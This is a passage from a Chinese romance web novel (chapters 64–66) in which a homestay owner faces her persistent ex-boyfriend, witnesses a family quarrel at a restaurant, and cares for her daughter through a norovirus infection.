刚到民宿门口,红灯笼下一道熟悉的身影印入了温昭宁的眼帘。 是庄璟奕。 庄璟奕蹲在台阶下方靠墙的位置,手里拿着一个文件夹,正低头看着手机屏幕,看样子,好像已经等了一会儿了。 “小庄。”温昭宁喊他。 庄璟奕听到声音,抬起头来,看向温昭宁,露出笑容。 “昭宁姐,你回来啦。” “你怎么在这?” “我在等你啊,我……” “呕——” 庄璟奕话还没说完,温昭宁身后的贺淮钦忽然发出了一声极其难受的、压抑的干呕声。 这突如其来的声音把温昭宁和庄璟奕都吓了一跳,两人同时朝贺淮钦看去,只见贺淮钦躬着身体,一手扶着电线杆,一手捂着嘴,喉结来回滚动着,一副强忍呕吐,痛苦不堪的模样。 这人!!! 他又没醉,在那里装什么装!!! 温昭宁无语得要命,但是,碍于庄璟奕在场,又不好揭穿他,只能走到贺淮钦的身边,顺着他装模作样地问:“贺先生,你没事吧,是不是酒劲上来了?很想吐吗?” 贺淮钦含糊地“嗯”了一声,肩膀微微耸动,仿佛下一秒真的要吐出来了。 “我难受……温老板……扶我一下。”贺淮钦朝温昭宁靠过来。 温昭宁见他又要故伎重施,小小地往后退了一步。 “你到底想干什么?”她咬牙切齿地问。 “扶我。”贺淮钦看着她,“如果你不扶我,我就要发酒疯了,万一我再说些让你脸红的话……” 温昭宁虽然讨厌被威胁,但她实在不想再从贺淮钦的嘴巴里听到什么离谱的话了,她赶紧侧身过去,一把将他的胳膊扛了起来。 贺淮钦很满意,他将头垂到她的颈窝处,做借力状紧紧搂着她。 庄璟奕不知道两人叽里咕噜在说什么,他看贺淮钦这样,还以为他真的醉了,赶紧上前去帮忙。 “昭宁姐,贺先生这是喝多了吗?我来帮你把他扶上去吧!” 庄璟奕说着,就要伸手来搀扶贺淮钦的另一侧胳膊。 然而,就在庄璟奕的手即将碰到贺淮钦手臂的瞬间,贺淮钦的身体猛地一歪,更大幅度地朝温昭宁方向倾倒,就这一下,他巧妙地避开了庄璟奕的手。 “你……你是谁……”贺淮钦醉态十足地看着庄璟奕,“别碰我……” “好好好,贺先生,我不碰您,您小心别摔了。” 贺淮钦毕竟是酒庄的投资人,连镇里领导见了都要点头哈腰的人物,庄璟奕也不敢忤逆,只能站在一旁干看着。 温昭宁全力撑着贺淮钦沉重的身体,无奈对庄璟奕说:“小庄,你稍等一下,我先扶贺先生上去休息,有什么事等下再说。” “好的昭宁姐,你先照顾贺先生,我等你。” 贺淮钦瞥了庄璟奕一眼。 还等她? 等不等得到再说吧。 -- 民宿二楼。 温昭宁把贺淮钦扶进房间,转身就要走。 “等等。”贺淮钦一把握住她的手腕,“我的头,真的好晕。” 他紧皱着眉头,用手揉按着太阳穴,表情痛苦。 温昭宁不知道他几分真几分假,但好歹他是民宿的客人,她也不能完全不管他。 “既然头晕,那就快躺下休息吧。” 温昭宁扶着他,走到床边。 贺淮钦踉跄地倒在大床上,他仰面躺着,衬衫领口微微敞开,露出性感脆弱的喉结,在昏暗的光线中,有种颓废的性感。 温昭宁替他扯过一床毯子,搭在他心腹的位置。 “你睡吧,我先走了。” “水……给我倒杯水。”他眼巴巴地看着她。 温昭宁:“……” 这人事儿真多。 她去饮水机边给他倒来一杯温水,放在床头柜上。 “水来了,你自己喝。” “你喂我喝。” “贺淮钦,你别得寸进尺。” “你知道什么叫得寸进尺吗?” “什么?”温昭宁下意识地问。 问完,她就后悔了。 可是来不及了。 下一秒,贺淮钦握住了她的手腕,用力一拽,温昭宁整个人顿时失去了平衡,结结实实地摔进了他的怀里。 “啊!” 温昭宁低呼一声,为了稳住自己的重心,她的双手撑在了他身体两侧的床单上,整个人几乎半趴在他身上。 这个姿势,亲密得过头,也危险得过头了。 “你——!”温昭宁又惊又怒,慌乱地想要起身逃离,可贺淮钦的手臂在她撞进他怀里的瞬间,已经用力收紧,以一种不容抗拒的力道,将她牢牢地圈在了他的身上。 他的心跳,沉稳有力,透过胸腔,清晰地传递到她的耳畔,他身上的热量,像一座正在无声燃烧的熔炉,将她也引燃。 “贺淮钦,你到底想干什么?” “就这么迫不及待去见那奶狗弟弟?”他沉声问。 奶狗弟弟? 温昭宁反应了好一会儿,才反应过来他所谓的弟弟,指的是楼下的庄璟奕。 “所以你演这么久的戏,就是想阻挠我和小庄说话?”温昭宁推开贺淮钦下床,“你可真幼稚!” 温昭宁迈步就要走,可她刚走到门口,贺淮钦就下床追过来,他的长臂越过她,按实了门缝。 “别走。”他将她堵在门背后。 “让开!” “我说别走!” 温昭宁抬眸看向他,房间里没有开灯,在昏暗的光线下,贺淮钦那双深邃的眼眸,像两口燃烧着幽暗火焰的深井,没有半分醉意,只有浓得化不开的执念。 “我凭什么听你的?”温昭宁愤怒地推了一把他的胸膛,“贺淮钦,你以为你是谁?我们分手已经半年多了,从你出现在民宿的那一刻我就想问了,你到底有什么目的?” 一个合格的前任,就该和死了一样,永远消失,永不打扰,让彼此腐烂在各自的新生活里。 她做到了,远走他乡,将自己活成另一个模样,用砖瓦泥土和永不停止的忙碌,将自己和过去彻底埋葬。 可他呢? 他不仅没有“死”,还以一种她完全无法预料也无法抗拒的方式,强势地“杀”回了她的生活。 明明有无数更好的选择,他却偏偏入住她的民宿,成了她避无可避的客人,每天往庭院里一坐,目光如影随形,将她的日常纳入眼底,也让她被迫习惯了他的存在。 他还投资酒庄,打着助农合作的旗号,画下一个她根本无法拒绝的宏伟蓝图,将她的梦想、她的责任和她对这片土地最深的羁绊,都巧妙地编织进他的计划里,让她不得不与他并肩。 他用他的财富,他的权势,他的光芒,还有那对她送给他的袖扣,一步一步将她逼到墙角,逼到她再也无法用“客人”或者“投资人”这样的身份来麻痹自己。 直到今晚,他终于图穷匕见。 “我没什么目的。”贺淮钦直视着她的眼睛,“我只是想见你。” “见我干什么?我们分手了,而且,你要订婚了,不是吗?”温昭宁强忍着心头的酸涩,一字一句质问他,“你的未婚妻知道吗?你想见另一个女人,不远千山万里来找她?” “订婚取消了。”贺淮钦说。 平平淡淡五个字,听不出任何情绪。 取消了? 温昭宁的大脑因为过度的冲击而短暂迟缓,随后,无数混乱的念头如同被惊起的蜂群,疯狂地撞击着她的理智。 什么时候? 为什么? 是因为她? 不,无论答案是什么,那都是贺淮钦自己的事情,她不想对号入座。 “订婚取消了,你就可以肆无忌惮地骚扰我了吗?”温昭宁冷冷看着他,“贺淮钦,是谁说的,让我你再也不要出现在你的面前?” 温昭宁甚至能清晰地回忆起贺淮钦说这句话时表情中的每一个细节,那是真正的决绝与厌弃。 因为他的这句话,她后来流过多少眼泪,只有她的枕头知道。 那曾是她所有噩梦的源头,是她每一次午夜梦回,想起就会泣血的伤疤。 他凭什么,凭什么用一句话将她打入地狱,又在半年之后,像什么都没有发生过一样,理所当然地带着掌控者的姿态,重新闯入她的生活? “宁宁,对不起,是我的错,是我口不择言。” 贺淮钦伸手,抱住温昭宁。 这不再是之前充满侵略性的拥抱,这一次,他的动作缓慢得近乎虔诚,仿佛怕惊扰了什么,又仿佛是在试探她的边界。 他的下巴,抵在了她的发心,呼吸落下,带着微颤的气流。 “对不起,那句话是我这辈子最后悔的一句话。我当时,被愤怒和失望冲昏了头,是我说了混账话,宁宁,那不是我本意,那不是。” 温昭宁僵在贺淮钦的怀里,心底的冰川被这突如其来的忏悔和道歉凿开了一丝裂缝。 眼泪毫无预兆地涌出来。 贺淮钦看到她的眼泪,环抱收紧了些:“你别哭,对不起。” 温昭宁沉了口气,擦掉眼泪,将贺淮钦推开:“你的道歉我接受,但我现在过得很好,我不希望有任何改变。” 她说完,拉门欲走。 贺淮钦再次将她堵在门口,眼眶赤红地望着她:“你真的忍心再丢下我一次?” 他的声音很轻,却比任何怒吼都让温昭宁心如刀绞,温昭宁感觉自己快要被悲伤的情绪吞没了。 她闭了闭眼,将心头的酸楚强压下去。 “贺淮钦,我们两个都是成年人,半年前,在感情走到尽头时,我们做出了分开的决定,这是我们共同的选择,谈不上谁丢下谁。” 第64章 单独相处 温昭宁的话,像是冰冷的判词,掷地有声地落在两人之间。 贺淮钦没有再质问,没有再挽留,甚至没有再发出任何声音,方才那些激烈的情绪,都消失得无影无踪了,只剩下空洞的沉默。 他缓缓地后退了半步。 温昭宁趁势,走出了贺淮钦的房间。 她刚走到走廊上,眼泪再次夺眶而出,她以为说出那些话,划清界限,会让她感到解脱和轻松,可其实没有,心头的痛,反而更绵长地纠缠住她。 “昭宁姐!” 楼下,庄璟奕还在等着温昭宁。 他站在院子里,见温昭宁从贺淮钦的房间里出来,朝她招了招手。 温昭宁赶紧擦掉眼泪,收拾好情绪下楼。 “昭宁姐,贺先生还好吧?”庄璟奕关心地问。 “他没事。” “没事就好,不过不是说去尝尝葡萄酒吗?怎么喝这么多?” “我舅舅酒瘾上来了,就拉着他多喝了几杯。” 庄璟奕点点头,也没多想。 “小庄,你找我什么事?”温昭宁问。 “哦,也没什么事。”庄璟奕笑了笑,“就是想着后面你要去负责酒庄的项目了,我们两个没机会一起合作拍视频了,为了祭奠一下我们这短暂的‘同事情’,明天我请你吃个饭吧,这段时间,你也教了我不少自媒体的东西。” “不用客气了小庄。” “要的,昭宁姐,是你别客气,你就让我请你吃个饭吧。” 温昭宁想了想:“那我叫上雨棠姐一起可以吗?接下来就是你俩一起做助农项目,我先介绍你们认识一下,方便你们后续合作。” “好啊好啊,那可太好了!” “那就这么说定了,等下我和雨棠姐约具体时间。” “好。” 庄璟奕走后,温昭宁给边雨棠打了个电话,边雨棠那边,镇上的领导已经提前和她沟通过了,正好,她最近的视频热度都不愠不火的,能顺势换个官方支持的新赛道,这对她来说,也是机遇。 第二天中午,三人约在镇上的金裕饭店吃饭。 饭店是庄璟奕订的,这是镇上最好的饭店了,看得出来,庄璟奕也是真的很不舍和温昭宁短暂共事的这段情谊。 不过幸好,边雨棠也是个顶好的人。 她在自媒体领域,经验比温昭宁更丰富。 庄璟奕原本还担心和这位新的合作伙伴没有和温昭宁那样合拍,没想到,他和边雨棠一见如故,两人对自媒体和助农这两件事的观点都高度契合。 温昭宁见庄璟奕和边雨棠聊得投机,她也很高兴。 “你们先聊,我去个洗手间。” “好。” 温昭宁去了趟洗手间,她刚从洗手间出来,电话响了。 是镇长办公室的工作人员打来的,说建造酒庄的土地已经落实,让她明天上午再去镇里开个会。 去开会,就意味着又要和贺淮钦见面。 昨天晚上两人分开后,今天早上温昭宁特意没去民宿,可她知道,只要贺淮钦还在这里,躲是躲不掉的。 民宿她可以暂时不去,但酒庄的项目,她不能不跟进。 “好,我明天会准时参加。” 温昭宁挂了电话,正准备回到大厅里去找边雨棠和庄璟奕,忽然听到大厅里传来“嘭”的一声。 是酒瓶碎裂的声音。 紧接着,表哥姚志修的叫嚷声也传了过来。 “边雨棠,这个奸夫是谁?和你偷情的这个奸夫是谁?” 温昭宁赶紧跑出去。 大厅里,姚志修不知从哪里来,这会儿正站在边雨棠和庄璟奕的桌前,直勾勾地瞪着边雨棠以及她身边的庄璟奕,那眼神,凶狠得像是要喷出火来。 “你在胡说八道什么?什么奸夫?什么偷情?”边雨棠因为姚志修不分青红皂白地兴师问罪,气得发抖,“姚志修,你自己道德品行败坏不说,现在反过来泼我脏水,你要点脸行吗?” “你别抵赖,我刚才从外面经过的时候都看到了,你和这个小男人说说笑笑,勾三搭四的!” “小庄是我工作上的合作伙伴,我和他是正常聊天,你心脏看什么都是脏的!退一万步讲,就算我现在真的有了新的感情,和你又有什么关系?我们已经离婚了,你凭什么来指责我!” “你这是承认自己有了新恋情是吧?这才离婚几天,你身边就有新人了?我看你俩分明就是婚内好上的!”姚志修嗤笑一声,“当初你站在道德的制高点指责我出轨,把我的家人都哄得都站在你那边!其实呢,你和我就是半斤八两!你也不是什么好东西!” 姚志修越说越激动,手指几乎要戳到边雨棠的脸上,完全不顾及这是在公共场合。 庄璟奕尴尬地站起来,试图制止:“这位先生,请你冷静一点好吧,我和雨棠姐真的只是合作伙伴,我们今天第一次见面,而且我们也不是单独见……” “你闭嘴!这里轮不到你说话!”姚志修粗暴地打断了庄璟奕的话,他的目光扫过边雨棠平坦的小腹:“我看,你当初怀的那个二胎,也未必是我的!没准,就是这个野男人的野种!” “啪——!” 边雨棠猛地站起来,抬手狠狠地扇了姚志修一耳光。 姚志修脸上瞬间浮起一个清晰的五指红印,他整个人都懵了,踉跄着后退一步。 边雨棠根本不给他反应的机会,在第一记耳光余音未散的下一秒,她的另一只手,以同样迅捷决绝的速度,再次扬起。 “啪——!” 第二个耳光,带着更重的力道,扇在了姚志修的另一侧脸上。 姚志修被打得直歪倒,撞在了旁边的椅子上,发出“咣当”一声闷响。 边雨棠站在原地,胸膛因为剧烈的情绪起伏着,那双总是含着温柔笑意的眼眸里,此刻燃烧着愤怒的火焰。 “姚志修,这第一个巴掌,打你污言秽语,侮辱我的人格。第二个巴掌,打你畜生不如,侮辱我已经离开的孩子!”她顿了顿,仿佛用尽了最后的力气,吐出的每一个字都带着斩断一切的寒意:“现在,给我滚!” 姚志修当着这么多人的面被打,自然不可能善罢甘休。 “你敢打我!你这个水性杨花的女人竟然敢打我!”姚志修发了疯一样朝边雨棠扑过去。 温昭宁加快步伐冲过去,和庄璟奕一起护住边雨棠,推开了姚志修。 “姚志修,你别跟个疯狗一样乱咬人,雨棠姐是我和一起来这里吃饭的,小庄真的只是她的合作伙伴而已!”温昭宁说。 “你滚一边去!”姚志修根本不听温昭宁的解释,“你和边雨棠蛇鼠一窝,没准你就是来掩护他们偷情的!” “我看你真的是疯了!”好好的聚餐搞成这样,边雨棠气得不轻,“姚志修你有病就去治,别在这里丢人现眼!” 边雨棠说完,拉着温昭宁和庄璟奕就走要。 姚志修不依不饶,还想动手。 就在这时,饭店二楼一道冷厉的声音传来:“行了,差不多得了。” 声音的主人气场极强,短短一句话,带着摄人的压迫感。 姚志修一下就被定住了。 不知谁喊了声:“叙哥来了。” 饭店里正在看热闹的人,都齐刷刷地抬起头,朝二楼看去。 温昭宁和边雨棠他们也闻声转头。 饭店二楼的栏杆上,一个穿着皮衣夹克,剪着利落短寸头的男人,正盯着姚志修,他的眼神,锐利如鹰隼,给人一种姚志修要是敢不听他的话,他就会立刻从二楼跃下来制裁他的错觉。 “你是谁?”姚志修怒吼一声,“关你什么事?” “我是你祖宗。” “你——!” 男人从兜里摸出烟盒,抖出一支咬住,打火机“咔嚓”三下燃起一束火苗,火光跳动,照亮男人紧绷的下颌线:“敢在我的地盘闹事,你还是第一个,给你两个选择,要么自己滚,要么我送你滚。” 姚志修还想犟,身旁有人提醒他:“趁现在能走赶紧走吧,惹恼了叙哥,你就得横着出去了。” 这话不像是开玩笑的。 被称为“叙哥”的那个男人虽然立在二楼,但眉骨上的那道疤很显眼,正常人从哪儿去得这么一道疤来,不用猜也知道,这人肯定道上混的。 姚志修得罪谁也不敢得罪这样的人。 他瞪了边雨棠一眼,自认倒霉,转身拔腿就跑。 边雨棠知道,就姚志修那性子,如果不是楼上的男人喝止,他肯定还有的闹呢,多亏了那个男人,这场闹剧,才算提前结束。 她抬头,朝二楼的男人点了点头表示感谢。 男人漫不经心看她一眼,没回应,转身走了。 -- 三人好好的聚餐最后搞成这样,边雨棠很内疚。 “小庄,宁宁,今天实在抱歉,连累你们了。” “没事雨棠姐,这不怪你。”庄璟奕赶紧安慰,“你别往心里去。” “就是,你才是受害者。”温昭宁握住边雨棠的手,“雨棠姐,他要是还敢因为今天的事情来纠缠你,你就直接打电话给我,我把舅舅带过去,看他有没有胆子闹。” 边雨棠点点头:“我才不怕他,他要是还敢来找事,我也不会放过他。” 曾经的恩爱夫妻,如今搞成这样,温昭宁心里其实很难过。 她只恨表哥姚志修实在拎不清。 温昭宁回到家后,把姚志修发疯找茬的事情告诉了母亲,母亲连连叹气,还发出了灵魂拷问:“婚姻到底给女人带来了什么?” “妈,倒也不用这么消极,其实婚姻本身没有绝对的好或者坏,关键是在婚姻中的人是好或是坏。” “所以,你要是再婚,可千万得擦亮眼睛。” “我什么时候说我要再婚了?” 姚冬雪笑了笑:“我就这么顺嘴一说。” “我去洗澡了。” “你今天怎么不去民宿啊?” “嗯,不去。” “发生什么事了吗?” 民宿开业以来,温昭宁天天都在民宿,从没有缺席过一天。 “没事,就是有点累了。” 母亲有点心疼:“那你洗洗赶紧陪青柠睡吧。” “好。” 温昭宁短暂地逃避了一天,让自己混乱的思绪和那颗被搅得天翻地覆的心都得到了片刻的喘息。 但她也知道,自己不可能一直躲下去,毕竟,酒庄这个项目还压在她肩上。 第二天早上,温昭宁收拾好自己,准备去镇上开会。 她拉开院门,就看到贺淮钦那辆大G停在舅舅家的门口。 那日喝醉了走路回民宿后,贺淮钦的车一直停在舅舅家门前,已经停了一天两夜了,大G的车身,沾满了夜露,覆着一层薄薄的水珠。 也不知道他打算什么时候来开走? 这个念头刚一闪过,大G驾驶室的门忽然被推开,贺淮钦从驾驶座上下来了。 温昭宁吓了一大跳。 他竟然在车上! “你……你怎么在车上,什么时候来的?” “十分钟前。” 贺淮钦今天换了一套西装,黑色的,但袖口还别着她送他的那对袖扣。 他站在温昭宁一米开外的距离,目光沉沉地落在她的脸上。 “你昨天没去民宿。”他用的是陈述句。 好像,他很确定。 难道,他找她了吗? 温昭宁有点心虚地“嗯”了一声。 “躲我?” “不是。”温昭宁赶紧否认,“我昨天有点事情,就没去。” 贺淮钦没说话。 晨光落在他轮廓分明的脸上,将他眼底的红血丝和眉宇间的倦意照得格外清晰。 其实温昭宁这两个晚上也都没有睡好,今天起来化妆的时候,她在黑眼圈上打了很重的粉,才勉强遮住。 两人沉默地站立了一会儿。 “是去镇上开会吗?”贺淮钦问。 “是的。” “走吧,坐我车,一起去。” “不用了,我……那个……还要回民宿拿点东西,你先走吧。” “拿什么?” “就是拿点东西,一个很重要的文件。” “去拿,我等你。” “不用,我等下自己开车去。” “明明顺路,为什么要开两辆车?”贺淮钦眼眸深沉,“温昭宁,既然你坦荡荡对我毫无留恋,又何必害怕和我单独相处?” 第65章 求之不得 搭他的车? 这个念头让她本能地抗拒,可如果拒绝,岂不是坐实了她在躲他?岂不是显得她心虚,显得她依然被他影响? 不,她必须证明,她已经放下了。 温昭宁心一横,抬步走到贺淮钦的车边,拉开副驾驶座的车门,姿态大方地坐进去。 “那就麻烦贺先生了,走吧。”她满脸都写着“我不在乎”、“我放下了”、“爱谁谁”。 贺淮钦站在原地,看着她故作姿态的样子,忽然极轻地扯了扯唇角:“怎么?又不用拿文件了?不是很重要吗?” 温昭宁:“……” 瞧她这记性! 随口编的托词,转眼就忘了。 “那个……我忘了,我现在去拿。” 温昭宁说着要下车,贺淮钦按住她的肩膀,将她摁回了副驾驶座上,替她扣上了安全带。 “根本不存在的东西,别浪费时间了。”他说罢,关上了副驾驶座的门。 温昭宁靠在座椅上,趁他绕到驾驶座,尴尬地直拍大腿。 果然,和贺淮钦玩心理战,她嫩得跟个新兵蛋子似的。 他轻轻松松就洞悉了她的谎言。 贺淮钦上车后,问她:“吃过早餐了吗?” “吃过了。” “那走吧。” “好。” 两人一起去了镇上。 今天的会议由副镇长主持,主要是商量酒庄工程项目的投标事宜。 温昭宁对于这方面的事情不太懂,她全程听得云里雾里,就在会议快要接近尾声的时候,温昭宁放在笔记本边上的手机屏幕倏然亮起。 有电话进来了。 温昭宁看了一眼屏幕,上面闪烁的备注是“幼儿园张老师”。 张老师不会随随便便给温昭宁打电话,难道是青柠出什么事了? 会议还没有结束,温昭宁正犹豫要不要出去接电话,身旁的贺淮钦看了她一眼,开口:“去接。” 所有人都朝温昭宁看过来。 温昭宁趁势对众人歉然地点点头:“抱歉,我去接个电话,是孩子的事。” 她说完,拿着手机快步走出了会议室。 走廊里很安静,温昭宁走到窗边,接通电话。 “喂,张老师。” 电话那头传来张老师有些焦急的声音:“青柠妈妈,不好意思打扰你,青柠早上玩游戏的时候一直说肚子不舒服,刚刚吃小点心的时候忽然吐了,小脸有点白,精神也不太好,我们校医简单看了,说可能是肠胃炎着凉或者吃坏东西了,建议接回去休息观察,你现在方便过来吗?” 温昭宁的心瞬间揪紧了:“好的好的,张老师,我马上过来,麻烦你先照顾她一下,我大概半个小时之内到。” “好。” 挂断了电话,温昭宁的心已经飞到了女儿身上,她刚准备回会议室交代一声就打车去幼儿园,手刚按到门把上,贺淮钦先推门出来了。 “青柠出什么事了?” 他显然听到了她刚才的那句“我马上过来”。 温昭宁此刻满心都是青柠,也顾不上维持什么距离感或者刻意伪装了,她语速很快:“幼儿园老师打电话来,说青柠在幼儿园里吐了,精神不太好,让我去接她,我得先走了,麻烦你帮我和副镇长说一声。” “我送你。” “不用了,你继续开会吧,我自己打车。” “会议已经结束了。” “结束了吗?”温昭宁往会议室里看了一眼,那怎么没人动啊? “我说结束了就结束了。” “可是……” “放心,我会都安排好的,酒庄的项目耽误不了。” 贺淮钦说完,不再给她拒绝的机会,率先迈开长腿朝楼梯口走去,他的步伐很快,背影带着一丝隐约的急切。 温昭宁咬了咬唇,终究还是妥协,快步跟了上去,等她下楼的间隙,贺淮钦已经发动了车子。 “幼儿园地址。” 温昭宁直接在手机上导航,递给贺淮钦。 贺淮钦看了一眼,没再说话。 黑色的大G,如同离弦之箭,迅速地驶离了会议中心。 -- 幼儿园坐落在村子最东边,设施比不上沪城,但胜在环境清幽。 车子刚刚停稳,温昭宁就急切地推开车门跳了下去,冲跑向幼儿园。 贺淮钦熄火下车,也大步跟了上来。 他腿长,几步就追上了温昭宁,两人一前一后来到班级门口。 幼儿园的张老师看到温昭宁,先喊了声“青柠妈妈”,紧接着看到温昭宁身后的贺淮钦,又开口喊了声“青柠爸爸”。 温昭宁一愣。 贺淮钦更是怔忪,他下意识地看向温昭宁。 温昭宁还没来得及说话,张老师抬手指了指医务室的方向:“青柠在医务室,我带你们过去。” 比起解释贺淮钦的身份,温昭宁此时更担心青柠。 两人在张老师的引导下,来到医务室。 推开门,就看到小小的青柠焉焉地靠在小床上,身上盖着薄薄的小毯子,小脸确实有些苍白,嘴唇也失去了平时的红润。 生活老师戴着口罩坐在她身边陪着她。 温昭宁冲生活老师点点头,快步朝青柠走过去:“青柠,妈妈来了,你还好吗?哪里不舒服?肚子还难受吗?” 青柠看到温昭宁,小嘴立刻委屈地瘪了瘪,伸出小胳膊,声音软绵绵的:“妈妈……我肚肚不舒服……想吐……” 温昭宁连忙抱住女儿,轻轻拍拍她的后背:“不怕不怕,妈妈来了,我们现在去医院,看一下医生很快就好了。” 青柠靠在温昭宁身上点了点头,忽然,她看到了站在门口的贺淮钦。 原本焉焉的小人儿,眼睛瞬间亮了一下。 “贺叔叔。”青柠的小嗓子虽然没什么力气,却清晰地带了惊喜。 她甚至从温昭宁怀里挣扎着出来,朝贺淮钦伸出了小手。 贺淮钦的心因为青柠这声带着依赖的呼唤而变得柔软,他想到自己当初将青柠从陆恒宇的别墅救出来时,当时她也在生病,可那时候,他看到孩子软绵绵没精神,只觉得孩子可怜,别的,没有更多的情绪。 而现在,他担忧、心疼,甚至还有强烈的不舍。 他的心不知何时已经完全被这个小小的人儿牵动。 贺淮钦走到青柠面前,一把将她抱了起来。 “青柠,很难受吗?” “难受。” “走,我们去医院。” “嗯。” 青柠的小脑袋自然而然地靠在了贺淮钦坚实的肩膀上,虽然她的脸上还是没什么血色,但她整个人显而易见地放松了下来。 温昭宁看着贺淮钦抱着青柠的样子,看着青柠在他怀里安然休憩的模样,鼻子微微一酸。 她赶紧低头掩住情绪,拿上了青柠的保温水壶,和老师们告别。 到了医院后,温昭宁去挂号,贺淮钦抱着青柠在一旁等待,就在这时,青柠突然小脸一皱,喉咙里发出一阵难受的咕噜声。 “唔……妈妈……” 温昭宁听到青柠的呼唤声,脸色一变,赶紧跑过去:“青柠,是不是又想吐了?” 她话音刚落,青柠“哇”的一声,一小股混着未消化食物的呕吐物猝不及防地喷溅了出来。 事发突然,温昭宁完全没时间提前预判,那摊呕吐物全都落在了贺淮钦的西装外套上。 “哎呀!”温昭宁惊呼一声,一边接过青柠,一边手忙脚乱地从包里找到湿巾和纸巾递给贺淮钦,“对不起贺先生,青柠她不是故意的。” 她又着急又愧疚。 贺淮钦的西装一看就价值不菲,就这么被弄脏了,而且,他那么一个爱干净的人…… 然而,预想中的不悦、皱眉,甚至立刻退开清理的画面并没有出现。 贺淮钦甚至连眉头都没有皱一下,他的第一反应不是去看自己身上的污渍,而是立刻伸手,稳稳拖住了青柠因为呕吐而微微前倾的小脑袋,防止她被自己呛到,温昭宁递给他的纸巾,他也先用来擦拭青柠嘴角的呕吐物。 “没事的青柠,吐出来就好了,吐出来就不难受了。”他柔声安抚着青柠,仿佛那些刺鼻的污物和令人不适的气味完全不存在,他的眼里只有这个不舒服的小人儿。 青柠吐完后,小脸更白了,她的眼睛湿漉漉地望着贺淮钦,带点委屈和害怕:“对不起贺叔叔,我弄脏你的衣服了。” “没关系,只是一件衣服而已。”贺淮钦走到垃圾桶边,用湿巾和纸巾简单地处理了一下外套,重新抱起青柠,“号挂到了吗?” “挂到了。” “在几楼?” “二楼。” “那走吧。” 贺淮钦抱着青柠往自动扶梯处走,温昭宁看着贺淮钦的背影,心里涌起难以言喻的触动。 如果贺淮钦知道他是青柠的亲生爸爸,那刚才发生的那一幕倒也不稀奇,可是,贺淮钦并不知道。 他对青柠的情谊,多么珍贵。 “怎么了?”贺淮钦见温昭宁呆愣着,转过头来,“不走吗?” “走。” 温昭宁赶紧上前,在前面带路。 经过问诊,检测,青柠最后确诊感染了诺如病毒。 “孩子是诺如病毒。”医生拿着检测报告单,对温昭宁说,“这个病毒的发生特点就是突发性呕吐,呕吐频繁且剧烈,也可能水样腹泻,排便次数每日可达十余次,还有就是发烧,多为中度发热,体温在三十八度到三十九度之间,患儿目前虽然只有呕吐,但也要警惕腹泻和发烧。” “有药吗?”温昭宁问。 “诺如病毒感染是自限性疾病,没有特效药,通常三到七天可自愈,但要注意补液,警惕脱水、电解质紊乱等情况。还有,这个病毒传染性很强。孩子需要居家隔离,用过的物品需要单独消毒,照顾孩子的大人也要注意洗手,最好戴口罩。” 医生给开了退烧药,止泻药以及一些补液盐水。 三人去药房拿了药,就离开了医院。 回去的路上,温昭宁抱着女儿,看着女儿苍白的小脸,心头沉甸甸的。 医生的那句“传染性很强”像魔音一样在她耳边回荡着,温昭宁第一时间给幼儿园的老师发了信息,告知青柠的情况,提醒老师做好消毒。 幼儿园那边通知到位后,温昭宁又开始担心贺淮钦。 他刚才一直抱着青柠,而且,青柠还吐在了他的身上……如果贺淮钦真的不幸也感染上诺如病毒,那这个病毒会不会在民宿里扩散? 民宿里有老人也有带孩子的家庭,为了保证客人的健康,她绝对不能让病毒在民宿里扩散。 “贺先生。”温昭宁斟酌着开口,“刚才医生的话你也听到了,青柠感染的这个病毒传染性很强,你和青柠接触得那么密切,感染风险很高,民宿里还有其他客人,为了大家的安全着想,我们最好采取一些隔离措施。” 贺淮钦正开车,听到温昭宁的话,从后视镜看了她一眼:“你想让我搬出去住?” “是的。” “搬去哪里?” “如果你不介意的话,暂时先去我家住几天。”温昭宁感觉脸颊有些发烫。 这个提议,怎么听都是她主动将贺淮钦拉进了自己最私密的领地,可是,除此之外,她想不到更合适的办法。 让他去住镇上的酒店,酒店人来人往,同样存在着交叉感染的风险,她总不能为了规避自己民宿的传染风险,就把风险转嫁到别人的酒店里去吧。 所以,只剩下去她家里隔离暂住这一个选择。 “去你家?”贺淮钦挑眉。 还有这种好事? 这简直是……求之不得。 但是,贺淮钦并没有表现得很高兴,言辞间反而故意多了一丝审慎:“这方便吗?会不会打扰你的母亲?” “我等下就打电话给我妈,让她暂时去我舅舅家住几天,我也怕传染给她。所以,我妈不在的话,家里就我和青柠住,空房间有的,收拾一下就能住了……主要是,这样对大家都好。” 对大家都好,她好像是在说服他,也像是在说服她自己。 贺淮钦沉默了几秒。 这几秒钟对温昭宁来说,漫长得像是一个世界。 “贺先生,如果你实在不愿意的话,我们再想其他办……” “我愿意。” 第66章 消毒 贺淮钦答应了。 答应得如此“顺理成章”,如此“顾全大局”。 温昭宁暗暗松了一口气,悬着的心落下了一半,可想到马上要和贺淮钦“同居”,她的另一半心又悬起来。 她才刚刚和他“划清界限”,现在又要开始朝夕相处。 真是计划赶不上变化。 “妈妈,贺叔叔要去我们家里住吗?”青柠听到了他们的对话,轻声地问。 “是的,宝贝。” “太好了。” 青柠虚弱地拍了拍手,笑容舒展。 温昭宁被女儿的笑意感染,心头稍微松了松。 是啊,他们是因为不可抗力不得不住在一起,又不是两个人同居,无论如何,还有青柠在,只要有青柠在,就不会太尴尬。 温昭宁给母亲姚冬雪打了个电话,告诉了她青柠感染了诺如病毒,让她收拾东西,先去舅舅家里住几天。 “妈,还有,贺先生要来我家住几天。”温昭宁对母亲说。 母亲姚冬雪在电话那头惊了惊:“为什么?” “贺先生今天帮忙送青柠去医院,有被感染的风险,暂时来我们家里居家隔离。” “是他送青柠去医院的呀。”母亲姚冬雪感慨,“别的先不说,他对青柠是真不错。” 温昭宁看着贺淮钦专注开车的侧影,是啊,他对青柠是真不错。 今天发生的一切,都让温昭宁动容。 快到家的时候,温昭宁又给鹿鹿打了个电话,让她去贺淮钦的房间,把贺淮钦的行李箱和他的笔记本电脑拿出来。 鹿鹿在电话那头也惊了惊:“贺先生这是要提前退房了吗?可他昨天才刚续了一个月的房啊。” 他又续房了? 这下轮到温昭宁惊讶了。 她扒拉了一下驾驶座的座椅,问道:“你又续房了?” 贺淮钦坦然地“嗯”了一声。 “为什么啊?” “给你增加一点收入不好吗?” 温昭宁无言以对,她本来以为,经过前晚的交谈,贺淮钦会“知难而退”,没想到他却是“越挫越勇”了。 车子在民宿门口停下,鹿鹿把贺淮钦的行李箱和笔记本电脑拿出来,放在了门口,贺淮钦等鹿鹿进去了再下车拿东西,两人没有任何接触。 拿到贺淮钦的行李后,他们就回了温昭宁的家。 